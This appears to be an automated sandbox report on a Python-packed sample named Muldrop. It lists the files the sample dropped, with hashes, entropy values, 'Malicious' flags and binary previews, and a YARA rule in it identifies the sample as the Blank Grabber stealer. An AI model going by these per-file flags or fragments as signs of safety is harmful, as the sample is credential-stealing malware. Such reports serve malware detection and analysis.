SHA-256:	1B7D326BAD406E96A4C83B5A49714819467E3174ED0A74F81C9EBD96D1DD40B3
SHA-512:	95BCFC66DBE7B6AD324BD2DC2258A3366A3594BFC50118AB37A2A204906109E42192FB10A91172B340CC28C12640513DB268C854947FB9ED8426F214FF8889B4
Malicious:	false
Preview:	PK..........!.h%..b...b......._collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI76002\blank.aes

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	118175
Entropy (8bit):	7.65575928005811
Encrypted:	false
SSDEEP:	3072:AaByPjus5PADzdH5NlaFXb8mZJfd/hG/mk1HU6s:As2+z55SFXImZn/MR1HU6s
MD5:	FA9BB524DA315BEC7B439405041FE8CB
SHA1:	FF865E7C48DB9DEC20A4B0AE4E04D5C7592A16A6
SHA-256:	313A1C0B7FE64657F7A6C7ABE6FDEC6EF5650628563559BB6A8510ECB930A866
SHA-512:	66277003DFC12284522511D647C418AF6F4D43465DF013C7A0EBCB906DCC16A6E2C40A64F7D457593393955EDCC37EAA490F4238E1E3EB3070DD61067DFE0F0D
Malicious:	false
Preview:	PK........c'wX;..)...).......stub-o.pyc........{E.e..........................j.......e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.................................................................

C:\Users\user\AppData\Local\Temp\_MEI76002\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1192216
Entropy (8bit):	7.944105809686233
Encrypted:	false
SSDEEP:	24576:OehIVnK0yupAu74grd7gqiAtpzdZveNuKF1CPwDv3uFfJR:SYupAm7d7gqNtpzzveNuM1CPwDv3uFff
MD5:	DFFCAB08F94E627DE159E5B27326D2FC
SHA1:	AB8954E9AE94AE76067E5A0B1DF074BCCC7C3B68
SHA-256:	135B115E77479EEDD908D7A782E004ECE6DD900BB1CA05CC1260D5DD6273EF15
SHA-512:	57E175A5883EDB781CDB2286167D027FDB4B762F41FB1FC9BD26B5544096A9C5DDA7BCCBB6795DCC37ED5D8D03DC0A406BF1A59ADB3AEB41714F1A7C8901A17D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........).h.z.h.z.h.z..Oz.h.z...{.h.z...{.h.z...{.h.z...{.h.z.h.zjh.z...{.h.z=..{.h.z=..{.j.z=..{.h.z=.#z.h.z=..{.h.zRich.h.z........................PE..d.....wd.........." ...".........`%..U5..p%...................................7...........`......................................... x5......s5.h....p5......p2..............x7......................................`5.@...........................................UPX0.....`%.............................UPX1.........p%.....................@....rsrc........p5.....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76002\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76002\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	209688
Entropy (8bit):	7.925110241108709
Encrypted:	false
SSDEEP:	3072:de9fHP8SzrOGFIXkUNNlvBK8Tg111WMEGf0+fGYahm8YNI2DglFjEW0wuDmxD:A99u/XRxpK8M111nEE0iGYzi9jd0wN
MD5:	8E8A145E122A593AF7D6CDE06D2BB89F
SHA1:	B0E7D78BB78108D407239E9F1B376E0C8C295175
SHA-256:	A6A14C1BECCBD4128763E78C3EC588F747640297FFB3CC5604A9728E8EF246B1
SHA-512:	D104D81ACA91C067F2D69FD8CEC3F974D23FB5372A8F2752AD64391DA3DBF5FFE36E2645A18A9A74B70B25462D73D9EA084318846B7646D39CE1D3E65A1C47C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........q...q...q.....q..p...q..p...q..t...q..u...q..r...q.[.p...q...p.u.q.[.u...q.[.q...q.[.....q.[.s...q.Rich..q.........................PE..d.....wd.........." ...".....P...`..p....p................................................`..........................................6..4@...3.......0...........N...........v......................................p&..@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc....P...0...H..................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76002\python311.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1699608
Entropy (8bit):	7.993586114049122
Encrypted:	true
SSDEEP:	24576:IzvTIooNigMzmPPExBYeZ0pqJx5F7vYNBw5K2RH9lVggq4lUTNeTVZXo3uYIPDhh:C9oNizvxB3ZAEx5ONCVwXUmeTVlv
MD5:	5792ADEAB1E4414E0129CE7A228EB8B8
SHA1:	E9F022E687B6D88D20EE96D9509F82E916B9EE8C
SHA-256:	7E1370058177D78A415B7ED113CC15472974440D84267FC44CDC5729535E3967
SHA-512:	C8298B5780A2A5EEBED070AC296EDA6902B0CAC9FDA7BB70E21F482D6693D6D2631CA1AC4BE96B75AC0DD50C9CA35BE5D0ACA9C4586BA7E58021EDCCD482958B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.D.5..5..5..z.+.7..z...;..z./.9..z...=..z.).1..<../..~.+.>..5.+.P....'......4......4....(.4..Rich5.*.........................PE..d......d.........." ..."..........D...]...D...................................^...........`.........................................H.].......].......].......V.d0............^.......................................].@...........................................UPX0......D.............................UPX1..........D.....................@....rsrc.........].....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI76002\rarreg.key

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rarreg.key, Author: Joe Security
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI76002\select.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.438368098774459
Encrypted:	false
SSDEEP:	768:UjW1JOQuL3pJbNIPQGCF5YiSyvnnPxWEuN:UjW1AnbNIPQGCL7SyvnPxa
MD5:	90FEA71C9828751E36C00168B9BA4B2B
SHA1:	15B506DF7D02612E3BA49F816757AD0C141E9DC1
SHA-256:	5BBBB4F0B4F9E5329BA1D518D6E8144B1F7D83E2D7EAF6C50EEF6A304D78F37D
SHA-512:	E424BE422BF0EF06E7F9FF21E844A84212BFA08D7F9FBD4490CBBCB6493CC38CC1223AAF8B7C9CD637323B81EE93600D107CC1C982A2288EB2A0F80E2AD1F3C5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........tB.t'B.t'B.t'K..'@.t'..u&@.t'..q&N.t'..p&J.t'..w&F.t'..u&@.t'B.u'..t'..u&G.t'..y&C.t'..t&C.t'...'C.t'..v&C.t'RichB.t'................PE..d......d.........." ...".0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76002\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	637720
Entropy (8bit):	7.994077868940962
Encrypted:	true
SSDEEP:	12288:2VROCPPIR0z79c8aCucuAVbXiFHTiDheVoxz0u4d0M2A9UCC:2VERAc83uc1XiJly01hUCC
MD5:	395332E795CB6ABACA7D0126D6C1F215
SHA1:	B845BD8864CD35DCB61F6DB3710ACC2659ED9F18
SHA-256:	8E8870DAC8C96217FEFF4FA8AF7C687470FBCCD093D97121BC1EAC533F47316C
SHA-512:	8BC8C8C5F10127289DEDB012B636BC3959ACB5C15638E7ED92DACDC8D8DBA87A8D994AAFFC88BC7DC89CCFEEF359E3E79980DFA293A9ACAE0DC00181096A0D66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K3...R...R...R...&..R..@....R..@....R..@....R..@....R..D...R...R...R.......R.......R....J..R.......R..Rich.R..........................PE..d......d.........." ...".`...0......p,.......................................p............`..........................................K..."...H.......@.......................m.......................................8..@...........................................UPX0....................................UPX1.....`.......Z..................@....rsrc....0...@.......^..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76002\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	302872
Entropy (8bit):	7.986772329138341
Encrypted:	false
SSDEEP:	6144:ik/Qvs7yfQJYx4x9UVqHDMDNCStEQc5YmDp9Kik+V65:ikUfQJbUV2MhCwEQc5Np9zk+U5
MD5:	C2556DC74AEA61B0BD9BD15E9CD7B0D6
SHA1:	05EFF76E393BFB77958614FF08229B6B770A1750
SHA-256:	987A6D21CE961AFEAAA40BA69859D4DD80D20B77C4CA6D2B928305A873D6796D
SHA-512:	F29841F262934C810DD1062151AEFAC78CD6A42D959A8B9AC832455C646645C07FD9220866B262DE1BC501E1A9570591C0050D5D3607F1683437DEA1FF04C32B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................,...............,.....,.....,.y...,.....Rich..........PE..d......d.........." ...".`.......@.......P................................................`.............................................X....................P..0.......................................................@...........................................UPX0.....@..............................UPX1.....`...P...^..................@....rsrc................b..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0c1jk2uv.15r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3irfobuz.2z0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3kclmv5r.1by.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_afeqbbkm.cmn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ai0r4lsm.erx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aohakydu.c0t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_br0j3qie.bnt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ccwtjpkd.n2j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddz0ocwq.hav.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f1syxpme.uzd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgrmdg4r.nyz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_glevqxfx.xct.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwvi5lhg.z4o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1efh13z.cjv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcdjrlk2.451.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1qj5kqe.1zn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mrornz3p.rcc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
